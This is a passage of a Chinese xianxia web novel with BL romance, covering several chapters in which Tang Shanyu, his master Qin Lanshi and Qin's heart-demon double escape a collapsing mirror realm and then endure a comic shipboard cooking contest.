刹那间,涌入嘴里的除了这家伙的情欲外,还有那让人无法忽视的血腥味,滚动着,流动而下。 惹过头了。 这是唐山玉心里的第一个念头,而呼吸被强硬剥夺的感觉并不好受,更何况这人连咬带啃的,和个狗似的。 舌头已经发麻,但是吻却仿佛永不停止那般,那人似乎在狠狠报复什么,不想就此放过他,四周铺天盖地的魔气仿佛在告诉他无处可逃。 朦胧间,唐山玉好似听到了有人在喊他,喊他的名字,这和在当场书阁里头那样,他翻开了关于心魔的书,那天,是雨天,雨声仿佛将外头的一切都覆盖掉那样。 依稀记得那天,他特地来到了书阁里头,空中飘散的雨顺着他打开的门不听话地扑进来嬉笑。 “你在找什么?”守着书阁的老人开口问着。 “我在找有关于心魔的书籍。”唐山玉如实相告,他继续于书架子里头穿梭着。 “你这般年轻就生了心魔?”老人闻言微微皱眉,将唐山玉从上到下扫视了一番。 “不是我,我是为了朋友找的。”遇事不决就造个朋友,唐山玉说起这话早已得心应手。 “在那边,上面第三排,自己找去。”老人不再多言,转头继续看向了外边的雨,雨还在下。 “多谢老前辈。”唐山玉去寻了,果不其然,一本《心魔说》安安静静地躺在第三排上,他将其取下,就那么翻开看起来。 《心魔说》前篇讲了心魔诞,后边围绕着心魔如何蛊惑修士讲起,翻来覆去,有那么一段话吸引了唐山玉的注意力,那是某个修士提出的言论。 上面说,心魔与宿主之间的灵力属于同源,两者之间密不可分,这似乎能够证明一个点,灵气与魔气许是同源,能够互相转化。 这番话,说有意思也的确有点意思,可说没意思,对于那些没有入魔的修士来讲,这种言论并不耽误他们除魔的速度。 不过这种言论类似于无论现在的物种如何变化,如何多样,大家的古老祖先都是海洋里飘着的草履虫。 唐山玉看了几眼,就没有再看下去,读书费脑子,他还是继续练剑吧。 而如今…… 在这个秘境里,似乎鬼气魔气这种较为相似的阴暗灵力更利于在这个秘境里头通行。 在那女鬼破镜而出的时候,唐山玉就想到了这一点,还有方才那铺天盖地的鬼气,所以,如果想要让秦兰时从镜子里出来,那就只能把他变作相似的同类。 可,到底要怎么变呢? 唐山玉想了想,就想到了那灵气魔气同源的言论,再者心魔和宿主之间的联系也非常密切,就算两者相隔多远,都能感应得到。 如果他能够激发心魔秦兰时那种因情感而起的魔气,那么是不是就代表秦兰时可以靠着这强烈的魔气暂时地对自己的灵气进行……转化? 因为这是同源里的同源。 这就和拿家里的备用钥匙开门一个道理。 所以,等唐山玉再次回过神来的时候,好似看到对面站了个人,这个人手里握着熟悉的剑,而那熟悉的张脸则露出了和往日一样的温柔。 “…师……”唐山玉张了张嘴喊了一声,就被旁边的心魔秦兰时伸手捂住,他当即愣了一下,原来自己身边还有个魔。 站在对面的秦兰时正因此皱起眉头,他看着有些狼狈的唐山玉,内心的愤怒可想而知,这愤怒就那么传达到心魔秦兰时的心里头。 心魔秦兰时对此表示理解,不过他依旧维持着那抹笑意,只见他将唐山玉往自己的怀里按了按,一副没有打算放手的意思,“你好像来得不是时候。” “不,我来得正是时候,你这个混账。”秦兰时脸上的温柔在面对心魔秦兰时的时候逐渐散去,只见他就那么冷着脸,提剑指了过来。 “…这难道不是我的台词吗?”唐山玉挣脱了一下捂住自己嘴巴的手,接着就发自内心地询问俩人道。 然后他就接收到了俩人的骇人目光。 一个骇人是因为心魔,一个骇人是因为宿主,这何尝不是一种双向奔赴呢。 唐山玉默默转头看向了身后的镜子,然后他有些意外地发现,“等等,碎的不应该是这面镜子吗?” 刚刚他还被心魔秦兰时压上边玩强制爱来着。 心魔秦兰时听到这番话,他用一种你好像还很期待的疑惑不解眼神看过来,“你……认真的?” “……你,唬我的?”唐山玉开始找起来到底是哪面镜子碎的。 “……我真那样做,剑早就落我身上了,鬼知道那家伙会不会真的一剑捅出来啊?”因为死过一次,所以这次的心魔秦兰时较为谨慎,所以他挑的当然是离秦兰时最远的镜子搞啊。 “……你们在说什么?什么镜子?”站在对面的秦兰时等待俩人互动完后,就露出一抹危险的笑,“解释一下?嗯?” 唐山玉沉默,唐山玉乖巧地指了指自己的嘴巴,上面有个很明显的咬痕,然后又指了指在旁边的心魔秦兰时。 秦兰时:…… 他差点没被气晕过去。 “天杀的,你绿我???”秦兰时当场就怒骂出声,他感觉到自己的剑已经痒得浑身难受了。 “…这是,内部消化。”心魔秦兰时想了想,觉得还是这个词比较合适,可秦兰时哪里管词合适不合适,只见他举着剑就往这里冲过来了。 “我可去你的内部消化!!”秦兰时的剑已经举起来了,眼看着就要砍到心魔秦兰时身上的时候,他就看到心魔秦兰时将怀里的唐山玉提出来当挡箭牌。 刹那间,剑停住了。 而心魔秦兰时趁着这个空隙,就一把抱过唐山玉往后边的镜子里头钻去,像极了灵活的蟑螂一样,让人猝不及防,让人直呼为什么打不到。 “操!你站住!!”秦兰时果断地跟了进去。 与此同时,远处渐渐出现了三道身影,那身影来得很快,不一会儿就到了这里,然后他们发现此地空无一人。 “谢师兄,你不是说根据牌子里头的灵力指引,秦师叔会在这里吗?”石泽竹看到空空如也的地点,有些疑惑地挠了挠头。 谢璟闻言也重新看一眼自己手中的符牌,发现上面的灵力指引的确是在这里没有错,可是这里一个人都没有。 “这里有碎掉的镜子,应当是有人在这里过。”慕轻轻抬手指了指那个破碎的镜。 “……那咋办?”石泽竹有些迷茫。 “那面镜子上似有鬼气要溢出,应该是有鬼被躲在这里,他或许看完了全过程,不如问问?”谢璟扫视了一圈,也不是没有收获。 “昂?这个鬼,有点眼熟啊?”慕轻轻看到谢璟把那鬼拖出来后,有些惊讶地道。 “等等,我好像也……”石泽竹跟着惊讶。 “…我也见过。”谢璟看着这个鬼的脸,虽然惨白了点,但是的确曾经在他眼前活过。 而这个鬼正是汪秋。 第178章 寻路 “说,到底是怎么回事?”谢璟一边审问,一边拿出可以霍霍鬼怪的法器,汪秋一看当即扑在地上抱住了谢璟的大腿。 “等等,等等,你让我组织一下语言!!”汪秋死命地抱住谢璟大腿,然后将方才的事情都和他们说了一遍,包括唐山玉被强制爱的事。 谢璟:…… 石泽竹:……什么?亲? 慕轻轻:哇哦。 “我知道的就那么多了……”汪秋觉得自己的人生不仅多灾多难,鬼生也是多灾多难的,反正该说都说了,接下来是生是死……就那样吧。 其实汪秋已经失去了所有前进的方向,之前活着的时候,想着能活就好了,现在死了,他那唯一的方向就那样消失了。 迷茫,恐惧,等等负面情绪将汪秋所淹没,初成恶鬼,却没有该有鬼样,依旧是因为那低弱的修为,导致他人人可打。 为什么……为什么他会这样…… 就在汪秋自暴自弃的时候,谢璟发现了躺在地上的唐山玉剑老婆燃行,剑刃锋利,应当是其主人拔剑而出掉落的。 “这是……山玉的……”石泽竹看到这把剑,顿时就担忧了起来,也是睹剑思人,他开始觉得山玉惨到连馒头都吃不起了。 “没事啦,秦师叔不是追上去了吗?我们也只能相信他们了……你们没有看见长乐和那个怪大叔吗?”说着,慕轻轻那边镜子后边看一眼,这边镜子后边看一眼,都没有藏人。 “没有,弟子牌若是相互接近应当会感应到,我除了你们的,没有感应到第三人的。”石泽竹握紧了手里的牌子,他脸上流露出些许不安,“怎么办,我答应过山玉要好好照顾她的。” “没事啦没事啦,小长乐也是金丹期,除非遇到了比她厉害的,一般都不会有事的,而且我觉得她应该比这只鬼能打。”慕轻轻拍了拍人的肩膀出声安慰道,她扫了一眼站在旁边一言不发的谢璟。 “嗯?”察觉到慕轻轻的视线后,谢璟转过头来,他将唐山玉的剑收入乾坤袋里,随后就随手指了一面镜子,“不如我们也进去看看?” “…这能成吗?”慕轻轻一脸怀疑地看着方才让他们躲来躲去的镜子,现在要直面上去吗?总觉得需要做点心理准备呢。 “不能的话就只能原地等待了。”谢璟说着,就开始给他们分析起目前的情况,“我们当前最要紧的事情是找到这个秘境的出口,不然就会一直被困在这里。” “走了那么久,出口到底在哪里……”石泽竹很是颓废地两手下垂,就那么无力地晃啊晃。 “许是在镜子里。”谢璟答道,看向了那镜子,就在他的手要碰到镜子上的时候,突然,那镜子扭了个身子,躲开了谢璟的这只手。 谢璟:? “咦咦咦!镜子会动!里面肯定有东西!”慕轻轻眼睛刷的一下就亮了,只见她兴奋地跑到那面镜子前,伸出手就要摸它。 镜子躲开了,并且在原地转了个圈。 “泽竹!抓住它!!”慕轻轻闪身到镜子的右边,石泽竹闻言就闪到了镜子的右边,他们打算两面夹击。 “…等一下,别碰。”谢璟喊住了他们,随后他看了看这面活泼的镜子,“它好像想要告诉我们什么。” 镜子立马原地蹦哒了两下。 “你是谁,我们认识吗?”谢璟这样问着,然后又补充了一句,“是的话跳一下,不是的话两下。” 镜子跳了一下。 “……长乐?” 镜子又跳了一下。 “小长乐,你怎么在里面,你没事吧!!”慕轻轻立马凑过来,想要从这什么都没有的镜子里头看出胡长乐的影子。 镜子扭了扭身子,像在摇头。 “任海有和你在一起吗?” 那镜子跳了两下,示意她没有。 “…那大叔这也不在,那也不在,所以究竟在哪里?”慕轻轻对此语气可不算好,她略微吐槽了一下,就转身笑容灿烂地看着那面长乐镜子,“那小长乐是需要帮助吗?” 闻言,镜子跳了一下。 “…是要出去?”石泽竹凑过来,也盯着镜子看。 镜子蹦哒了两下。 还没等他们想出什么,另一面镜子翻转了一个面,正对着他们,接着又是一面镜子翻转过来,这三面镜子动来动去,想要告诉他们什么。 谢璟略微思索一下,就往第三面镜子那个位置走去,没走几步,下一面镜子又开始动起来了,很明显在指引着他们往某个地方去。 慕轻轻看到这一幕哪能不明白,随后就跟了上去,并且转头招呼着石泽竹快点跟上来,他们就那么跟着镜子往前走去,一路上,就算遇到了怪也被他们亲手解决了。 等到达目的地的那一刻,是一面比旁的镜子更为巨大的镜子,它立于中心,四周徘徊并悬浮着无数条金色的咒文。 走过去,他们就被这些金色咒文给挡在了外边,谢璟用自己的剑划一下,那金色咒文就反应激烈地把他的剑弹开。 “要打碎?”谢璟收回剑,转头问道。 长乐镜子非常肯定地蹦了一下。 虽然不知道胡长乐是怎么找到这个地方的,不过很显然,这地方应该与这个秘境密切相关…… “你们也在这里啊?”突然,一声熟悉的声音自边上传来,他们看了过去,发现是不知道什么时候到达这里的任海,他咧开嘴笑嘻嘻地跑了过来。 “任前辈。”谢璟对他点了点头,“任前辈可知这里是哪里?” “这里?哦,其实很简单啦,你就当那面镜子就是维持这个秘境的物件,只要击碎它,那么我们就能够出去了。”任海回答得也十分清楚明了,旁边的长乐连续蹦哒了好几下似在附和。 “…原来如此,任前辈可知道怎么打破吗?”慕轻轻不愿意开口,石泽竹不知道说什么,所以只能谢璟开口和任海说话了。 “我还没打呢。”任海闻言就一脸正色扭了扭手腕,“不过这个镜子是怎么回事呢?” “…啊,其实是这样的。”谢璟将他们知道的事情和任海说了,不过他选择性忽略了唐山玉被强制爱的事情。 “原来如此!原来如此!我悟了!” 你悟了什么? 谢璟很想这样问,不过还不等他问,任海就滔滔不绝地和他们说起来了,“这个秘境里头有两个空间,一个在外,一个在里,长乐之所以能够带你们来到这里,是因为她能够在里看到通往这里的路,而且镜子里外都有,也能操控位置。” “这或许也是我们在外边找不到出口的原因,因为出口或许就在镜子里。”任海说着说着就对他们竖起大拇指,“不过,我也觉得直接破坏秘境比找出口要更快更直接点呢。” 所以他也就过来了。 “…任前辈是怎么过来的?”谢璟顿时警惕了起来。 “我直觉向来很好,凭感觉找过来的,再说了,而且这里头镜子太多了,照得我晕得很。”任海扶额了一下,晃了晃脑袋,接着又笑嘻嘻地一把揽过谢璟的脖子,“不管怎么样,你们没事就真的太好了!” “……嗯,长乐,你那边有这种镜子吗?”谢璟感觉到脖子上的压力,他依旧维持那波澜不惊的模样,转头看向了长乐镜子。 长乐镜子蹦哒了两下表示她那边没有。 “我明白了。”谢璟拿出了他的剑,看向了中心的那面镜子,想要打破它,就先要把这周围的金色咒文解决掉。 “搞破坏嘛,我最擅长了~”慕轻轻将她的鞭子拿出来,打算以理服镜,她笑着,那银白色的鞭子啪一下打在了地上,这清脆的一声响明显得很。 石泽竹虽然听不太明白,但是他听懂了只要破坏这个东西,他们就能够出去了,于是他握紧了拳头,灵力渐渐往拳头上流动而去。 “不愧是年轻人,动力就是足啊!”任海抬脚往那边走了一步,刹那间,四周的镜子发出阵阵嗡声,像在抵触什么,而那金色咒文也因受到什么影响,金光闪烁得更为厉害了。 而胡长乐……她就站在镜子里头,看着他们往那面巨大的镜子处攻击而去,她抖了抖伞上的黑气,一路过来,她的身后遍布着一地妖物残骸。 她抬起头,望着某个方向,轻轻叹了口气,“也不知道秦哥那边怎么样了,就那样追上去,会迷路的吧?” “但是…但是唐哥也在的话,应该不会丢吧?”说着,胡长乐很是担忧地在原地着急乱走,与此同时,她肩膀上的学长打了个哈欠,用翅膀拍了拍胡长乐的肩膀。 “相信他吧,他好歹也是化神修士,要是就这样被牵着鼻子走,也没甚么面子。” 面子吗…… 也的确没什么面子。 “你放开!” 秦兰时阴暗地瞪着在他对面的心魔秦兰时,他咬牙切齿地说着,就拉住唐山玉的左手,想要把人拽到自己这边。 “凭什么?我不!” 而心魔秦兰时自然不愿意放手,同样咬牙切齿地回应着,只见他握住唐山玉的右手,也想要把人拽到自己这边。 与此同时,被迫挤在中间的唐山玉看着这一地的陌生镜子,发出了憋了好久的疑问,“你们这是把我带哪来了?” “……”沉默,还是一片沉默。 听到此话。,俩人停止了互瞪,纷纷移开了视线,选择看天看地,还是不看人。 “…你们说话啊,这是哪啊??”唐山玉提高了声音,现在轮到他咬牙切齿起来了,“能不能对你们的实力有点数,我一个金丹的压根看不清你们到底怎么你追我赶的好不好?” …… 又是一片安静。 最后是心魔秦兰时开口打破了这片沉默,“来都来了,要试试三个人吗?” 秦兰时:? 唐山玉:? 第179章 破碎的秘境 后背紧贴那份灼热,呼吸时急时缓,火焰于体内四散,心脏慌乱跳得让人发麻,手指惯会煽风点火,所划过之处,似像蝴蝶乱入林间,乱起的风打散树叶。 “喜欢吗?”秦兰时的低笑在身后响起,他轻吻上唐山玉的唇,试图让人沉沦。 “…别……” 语句还未完整,突然,唐山玉似是受到什么刺激那般别过头去,没曾想,恶劣的性子从没打算放过他。 “…明明我这里更…嘛。”心魔秦兰时抬起头,用一种不甘示弱的眼神瞪向秦兰时。 “……哈。”秦兰时翻了一下白眼,轻呼一声,将怀里的唐山玉搂得更紧些,“是吗?其实,有没有人说过你不太行?” “并没有,不要污蔑我。”心魔秦兰时笑着反驳他,只见他微微将自己的外衣褪去,随后坐下来。 燃火被风卷入野草间,连绵不断,远处的夕阳醉酒高歌,歌声不绝。 唐山玉很想止住声音,但是这根本不可能,他们做这个事的时候就没有想过他忍得有多辛苦。 “……滚。”微弱的声音实在是构不成威胁。 海浪猛拍,风也肆意。 …… 以上,都是幻想时刻,实际上压根什么都没有发生,在心魔秦兰时提出三人行的时候,秦兰时就抬起了另一只手,狠狠地一巴掌打在了脑袋上了。 拍得那叫一个响,脑袋里的龌蹉也因为这一打全部打没了。 “想屁吃。”秦兰时冷冷地看着捂住脑袋的心魔,他毫不客气地收回手,然后将唐山玉又往怀里带了带。 “想想又不犯法……再说了,宿主平时玩法很恶劣吧?”说着,心魔秦兰时就凑过来,笑嘻嘻地贴住唐山玉的手臂,他看上去身娇体弱的,仿佛下一刻就要晕倒了,“我不像宿主,我只会心疼山玉哥哥~” “……你也很恶劣,成了,你们谁也别说谁。”唐山玉阴沉着脸默默抓住了自己的裤子,“还有,放开我的裤子。” 秦兰时闻言低头看去,然后他就发现这个该死的心魔抓住了唐山玉的裤子,一副要脱不脱的无辜模样。 于是,秦兰时大怒,他伸出手就要扒拉开心魔秦兰时的手,但是心魔秦兰时哪肯呢?毕竟能让秦兰时生气的事情,他都乐意干。 总之,俩人围绕着唐山玉的裤子开始了争夺大赛,手上的力度可谓是谁都不肯让谁…… 唐山玉觉得他裤子要碎了。 “别玩了,我的裤……”于是他出声打算阻止这个大战,他打算为保卫自己的裤子而战。 下一秒,只听见安静的空间里响起了撕拉一声,裤子,在俩人的争夺下,裂开了。 唐山玉:…… 人生,真是起起落落。 就如同这条裤子一样。 唐山玉毫不客气地给这两个脑袋一拳头,打完后他就从乾坤袋里拿出一条崭新裤子穿上,一边穿一边恶狠狠地道,“转过身去。” 秦兰时转了,但是心魔秦兰时没有转,最后被秦兰时强制转身了。 新的裤子已经穿好了,接下来就该思考要怎么走出去了,也不知道他们跑到了镜子内部的哪里,陌生的镜子倒映着他们此时此刻的模样:两个人夹着一个人,在努力往前走 。 唐山玉觉得这样有点热,于是他默默推了推两边的秦兰时,真男人就应该自己走路,这样想着,他才刚刚走出一步就被身后的秦兰时给拽了回来。 咔嚓一声,原来是地面裂开了。 今天不仅仅裤子裂了,地板也裂了。 这种时候就需要在心里默念一句碎碎平安,来安慰一下经历颇多的小心脏。 “这里好像要碎了。”秦兰时有些惊讶,随后明白过来了什么,“小长乐这是找到他们了啊。” “嗯?师父之前做了什么吗?”唐山玉闻言便看过去,等待着秦兰时的回答。 “师父什么都没做,但是师父爱你。”心魔秦兰时抢先接过唐山玉的话头,然后凑过去,亲了一口唐山玉的脸。 这简直就是当面宣战,秦兰时在那边默默又拔出了剑,眼里闪烁着代表着杀意的红光。 唐山玉摸了摸那边的脸蛋,就放下手继续问向秦兰时,“所以这个秘境要碎了?” “可以那么说,所以……”秦兰时将唐山玉一把拉过来,指着对面的心魔秦兰时,心情很好地道,“他终于可以滚了。” 心魔秦兰时闻言没有回答,他难得沉默了,而唐山玉也莫名地安静了一下,导致秦兰时举起的手不知道是该放下还是不放下。 “……干嘛?”他说得不对吗? 等等!难不成! 秦兰时猛地伸出手握住唐山玉的肩膀摇晃了几下,“山玉,你不会那么快就变心了吧?他有什么好的?值得你这样沉默!!” “这个啊,其实这个不是重点吧。”唐山玉微微移开了一下视线,没有去看秦兰时的眼睛,他知道,这双眼睛里充满着不安。 在不安什么呢? 唐山玉觉得那应该不是在不安他变不变心的事情,从方才起,秦兰时就已经开始不安了,而导致秦兰时不安的源头,估计是站在那边的心魔。 是因为害怕心魔卷土重来后,相应的剧情也卷土重来吗? 这的确让人不安,但是至今为止,消灭心魔的办法有很多,不过每个人的法子都不一样,有的心魔,不是光靠杀死就可以的。 不过,这种时候,唐山玉能说什么呢,他只能握住对方的说,对这个家伙说,“别怕。” “…山玉……”秦兰时似乎还想说什么,突然,身上的符牌震动了起来,在这个镜子世界能够联系他的,除了胡长乐应该没有第二个人,除非有人自己蹦镜子里。 秦兰时接通了这个符牌,里面传来了胡长乐有些着急的声音,“秦哥,你们在哪里!!我刚刚才发现秘境被破坏后,只有在镜子外边的才能出去,如果还在镜子里面的话,会跟着秘境一起下黄泉啊!!” 这很明显是坏消息,更何况唐山玉他们现在压根不知道在哪里,那么多个镜子,每一个的出口都不一样,压根找不到路一点。 “…出口吗,一时之间还找不到,距离秘境崩塌还要多久?”唐山玉有些无奈地挠了挠头,觉得接下来估计要进行生死时速了,不过,应该是秦兰时带着他跑。 “还有半个小时!” “…那时间还挺紧迫。”唐山玉叹了口气,转头看向了不知道为什么在互瞪的俩人,“还瞪呢,再不走就走不了了。” 说着,唐山玉感应了一下自己剑的位置,他让剑抛被在外头,本来就是为了找出口用的。 不过灵力很微弱,唐山玉有些抓不住这抹小小的灵力,如果它能更强烈点就好了…… 突然就,灵力越来越强烈,好似有人在给他的剑渡灵力那样,方向也越来越清晰,如果是现在的话,能够找到出口。 “我们走……”唐山玉当即看向那俩人,然后就看到了心魔秦兰时阴暗地看向这边,那眼神就和他带球跑路一样幽怨。 唐山玉:……? “师父?你们还没聊好吗?” “我们有什么好聊的?”秦兰时毫不客气地别过头去,他对之前日夜骚扰他的心魔没有什么好感,不如说,他极度的厌恶。 “呵呵呵……你这个胆小鬼……”心魔秦兰时阴暗地笑出声,给人感觉就像从水井里头爬出来的散发女鬼那样。 “…我们走吧,一起走,行了吧?你们都听我的。”唐山玉见俩人做不下选择,当机立断地替他们做选择了。 “…等等,山玉!为什么要带他??”秦兰时听到这话,顿时炸毛了,带回去让这个心魔继续骚扰他吗? 心魔秦兰时听到这话倒是非常意外,他看了唐山玉一眼,又看了看旁边的秦兰时,突然就哈了一声,笑容怪异了起来,“没想到啊,秦兰时,山玉比你更能接受我呢?” “……闭嘴,不然我就把你丢下。”秦兰时同样也阴沉地看回去,这个时候他们脸上的表情是一样的。 “呵呵,你又不是没丢下过……”这语气更像怨妇了,如果唐山玉是带球跑,那么秦兰时绝对是家里的皮革厂倒闭带着小姨子跑路,然后把烂摊子丢给还很年轻的心魔秦兰时。 “……” 唐山玉瞥了一眼这俩人,一样的别扭,“所以呢?你们打算怎么做?” 与此同时,在外边,谢璟拿着唐山玉的剑,正往里头输送自己的灵力,剑身应是和其主人感应上了,正兴奋地发出阵阵剑鸣。 灵舟已经被他们找到,此时此刻他们正站在灵舟等人。 “山玉怎么还没来……”石泽竹一边看着那剑,一边往那一面面镜子里头看去,他没有看到有哪个镜子破了,哪个镜子抖动,总之安安静静的没有丝毫动静。 “别急别急,山玉他不管怎么样都会来的。”慕轻轻觉得这孩子就像离了妈似的,不由得又拍了拍石泽竹的肩膀。 胡长乐没有说话,她就是看着,不过手已经紧张地交叉握起来,像是在祈祷什么。 谢璟没有说话,而是继续输送灵力,唇已经绷紧成一条直线。 就在大家都在紧张地等待的时候,只听见任海嘿了一声,随后他哈哈大笑起来,“来了来了,虽迟但到啊!!” 只见,不远处,唐山玉被秦兰时夹在腋下,正在极速地往这边狂奔而来,唐山玉捂住嘴,脸色惨白得感觉下一刻就要飞天那样。 “来了!!”秦兰时一个飞扑,直接带着唐山玉往灵舟上飞去,刹那间,背后的秘境就开始四分五裂,破碎的镜片散落下来。 在没有人看到的地方,一块碎片正倒映着秦兰时的模样,现实里的秦兰时正笑着拍了拍胡长乐的后背,夸赞着她干的不错,唐山玉无奈地从他那腋下出来,而碎片里的秦兰时…… 则在不耐烦地翻白眼。 第180章 吃饭 距离那镜子迷宫秘境已经过了好些时日,灵舟继续在海上飘,风平浪静,似乎没什么特别的事情发生。 秘境也没有遇到,海怪打了一两只,然后这海怪就变成了他们的盘中餐,一只不够再来一只,海上缺的往往不是肉,而是…… “我想……吃菜,想吃绿油油的小青菜。”石泽竹趴在地上,颇为沮丧地抬头看蓝天,天蓝蓝的,这几天都天气都很好,没有遇到什么暴雨雷电。 “可是……我们没有种子啊……”胡长乐跟着趴在石泽竹的对面,他们正在晒阳光浴,像极了一条咸鱼。 “长乐,我记得你好像很喜欢种地啊,为什么不带些过来种地……”石泽竹伏在地上,开始做起了俯卧撑,一下两下,尽管阳光灿烂无比,他依旧没有流下一滴汗水。 “……气候不行,我之前带过来的全活不成了。”胡长乐一想到这件事,就心里直滴血,那都是她的心肝宝贝种子呀,就那么没了。 “怎么会这样……”听到这件事,石泽竹顿时大失所望,虽然修仙了辟谷,但是仍然有口腹之欲,人不吃饭能有什么意思,他是来修仙的,不是来受苦的。 “好啦好啦~”慕轻轻不知道什么时候坐在了石泽竹身上,此时此刻石泽竹依旧在做俯卧撑,她就那么跟着一上一下的,“等到了我家,就带你们去吃好吃的怎么样?” “真的吗!!”胡长乐翻了个面,眼巴巴地看向了慕轻轻。 “有什么好吃的!!”石泽竹撑住了身子,没有再动。 “嘿嘿,这个啊,不知道你们吃不吃海里的蔬菜瓜果?”慕轻轻说着,就给这俩人列举了好几种特产,听得他们那叫一个口水直流,恨不得现在就过去吃上几口。 “真的有那么好吃吗?” “那当然好吃了,味道鲜甜,口感清爽。”慕轻轻回想了一下那番味道,不由得也舔了舔嘴角,“真急的话,等我们到达下一个岛屿再看看?反正我们也距离卧龙岛不远了。” “对哦,我们现在已经在龙族的海域里了!!”胡长乐一个鲤鱼打挺而起,随后就爬过来,非常兴奋地道,“听说鲛人纱手感很好,是真的吗?而且鲛人哭的时候眼泪会变成珍珠对吗?” “这个啊……”慕轻轻还没回答,就被站在不远处的谢璟打断了。 “对,是会变成珍珠。”谢璟那么说着就走过来,他看了一眼姿态不一的三人,就继续往下说去,“不过也正因为如此,才会让那些修士发觉其中有利可图,毕竟鲛人泪被用来弄成漂亮首饰的数不胜数。” “你说的是之前你游历遇到的那个事情吧?”慕轻轻闻言皱起眉头,“鲛珠比鲛人泪更好看,也更贵,功能也更多,毕竟那是从鲛人体内取出来的。” “嗯,事情已经解决了。”谢璟不留痕迹地晃了一下手上的贝壳手链,“不过我要说的不是这件事,山玉让我过来喊你们。” 此言一出,胡长乐连忙打了个滚,她重新趴了回去装死,慕轻轻吓得整个人从石泽竹身上蹦了下来,石泽竹宛若石头那般安静了一会后,就继续俯卧撑起来了。 “……你们必须去。”谢璟头一次露出了视死如归的表情,这非常罕见。 “不,不!”胡长乐强烈地抗拒了起来,她就差在地上撒泼打滚了。 慕轻轻哈哈一笑,然后就慢慢地走到一旁,她打算离谢璟远一点,“秦师叔和那个任大叔又研究出什么新菜式了?你瞧着那样能吃吗?” 石泽竹继续机械地做俯卧撑。 谢璟闻言深深吸一口气,他突然笑了,冷冷的面孔上突然多了笑容,这显然很不正常,“我看到了一道用几十条鱼弄成的菜式,秦师叔说这菜名字叫做仰望星空派……” “……这起的名字还挺好听的啊哈哈哈。”慕轻轻继续笑着,她已经摸索到了旁边的大门,正准备躲回房间里头避避风头。 “嗯,没错,任前辈还弄了一道非常新鲜的八爪过海,用料是不同种的八爪鱼腌制出来的。”门还没开,就先自己打开了,慕轻轻定眼一瞧,来人不是唐山玉还有谁? “…山玉,你怎么来了?”慕轻轻后退几步,脸色有几分绝望,“你不能这样的,你这是见色忘友,你不能因为秦师叔做稀奇的饭就要拉我们一起吃……” “不是见色忘友。”唐山玉无比认真地摇了摇头,随后他实诚地回答道,“我只是一想到这菜只有我一个人吃,我就很不爽。” 谢璟默默扶额,在这件事上,他是第一受害人,随后他为了不能只有他受苦,就拉上了慕轻轻,慕轻轻也因此拉上了胡长乐,胡长乐决然地拉上了石泽竹。 这就导致了,他们都要吃那两位长辈比拼厨艺的奇怪饭菜。 “唐哥——我不行,我真的不行了——我不吃仰望星空,那些鱼那么可怜,为什么要杀鱼鱼!!”胡长乐率先嚎叫出来,唐山玉没有来之前,她没有打滚,是因为她知道没有用,可唐山玉来了,她就毫不客气地打起了滚。 “长乐……”唐山玉那双温柔的眼睛顿时闪过一丝心疼,随后他在打滚的胡长乐面前蹲下来,很是怜悯地摸上孩子的脑袋,“没关系的,你这次可以多吃一点。” 胡长乐:? 这不对吧?这能对吗?? 为什么是多吃一点!! “对了,你的学长已经在那边开动了。”唐山玉补充了那么一句,胡长乐闻言眼睛瞪大起来。 只见她立马爬起来,满脸写壮士一去兮不复返的悲壮,接着就那么跑了过去,义无反顾地给他们留了个后脑勺。 “你们学学长乐,多积极啊。”唐山玉叹了口气,声音里是说不出的惆怅,随后他低头看向了石泽竹,又摸了摸他的脑袋,“这也是一种修行啊,泽竹。” 石泽竹闻言就爬起来,一副大彻大悟的模样也跟着往厨房那边冲去,可见修行之事实在是义不容辞。 最后只剩下慕轻轻,她孤立无援地站在这里,后边是谢璟的虎视眈眈,前面是唐山玉的那种你不去吗的半温柔半威胁的眼神。 “……我去还不行吗!!”龙族小公主在自己的地盘海域发出了悲壮的龙啸声,最后绝望地也跑去了厨房。 谢璟满意地点了点头,随后看向了唐山玉,用手型比划了几下:我可以少吃一点了吧? 唐山玉比了个OK给他,因为比多了,所以大伙们都知道这个是什么意思了,总之,唐山玉完美地完成了任务。 等他们回到了厨房,就看到嘴里叼着根小鱼的的胡长乐正趴在桌子上,手上比了个大拇指,嘴巴正在麻木地咀嚼着这根小咸鱼。 学长肥啾倒在了秦兰时的手上,正作为鸟质存活着,并且看上去也不太清醒。 石泽竹面不改色地吃着好像还在蠕动的八爪鱼中的一只爪,他一边吃一边在心里默念:此乃修行。 慕轻轻用筷子颤抖地夹起一根小咸鱼,小鱼上好像还残留着什么奇怪的黑色液体,看上去无比骇人,而她的碗里正装着一只八爪鱼的爪子,好像也在蠕动,但是上面浇满了酱汁。 “山玉!你回来了啦~这是你的份~~”秦兰时在看到唐山玉回来后,就笑容灿烂地小跑过去,学长肥啾被他稳稳地放在脑袋上。 如果有一天回来后,有人围着围裙,拿着丰盛的饭菜跑过来,并且含情脉脉地看着你,问道,“亲爱的~你是要吃饭菜,还是要吃我?” 你会选择什么? 可是秦兰时只给了他吃饭菜的选项,没有给他吃自己的选项,所以唐山玉含泪坐到了位置上,开始了今天的试毒大会。 谢璟也是如此,他坐回去,看着眼前的饭菜,开始给自己心理暗示,这是师父做的,这可以是师父做的,只要是师父做的他就什么都能吃得下去。 任海站在一边,得意地哼了一声,他手里还拿着锅铲,正等待着这次比赛的结果。 正吃着时,突然,灵舟一个晃动。 似乎是撞上了什么东西。 “嗯?怎么回事?”秦兰时有些意外地往外看去。 然后他就听到了不知道是谁在喊:“兄弟们!!冲啊!!!把这艘灵舟端了我们今晚就能吃好吃的了!!” 哦,原来是遇到海盗了。 秦兰时慢条斯理地解起围裙,“你们先吃,我去去就……” 等他转过头去,风吹叶飘,餐桌上空无一人,只留下他和任海的杰作和翻倒在地的椅子。 “…人呢?”秦兰时看向了同样留在原地的任海。 “他们好像非常激动地冲出去了。”任海挠了挠头,随后像是想起了什么,“可能是,饭后消食?” “……都没吃完消个屁食。” 拥住那场雪 谢璟离开了。 虽然不是第一次。 顾延清坐在位置上,手边是正在批阅的卷轴,百年后众多弟子归来,许多事宜也需要好好处理一番,他天天忙碌着,偶有几分闲暇就抬头看向窗外。 窗外的天空是蓝色的,有时候能看到几只飞鸟跃过云层,有时候是几位弟子结伴而行,随清宗的一切都是那么的平和。 如今已经过了些许时日,也不知他们如今在海上何处漂泊着,有兰时在他们身边,应当不会出什么事。 龙族虽性子高傲,但是对随清宗态度还算不错,海上妖兽多为金丹元婴,极少遇上化神,就算遇到了,应当也无事,毕竟剑修在同级下,是愈战愈勇。 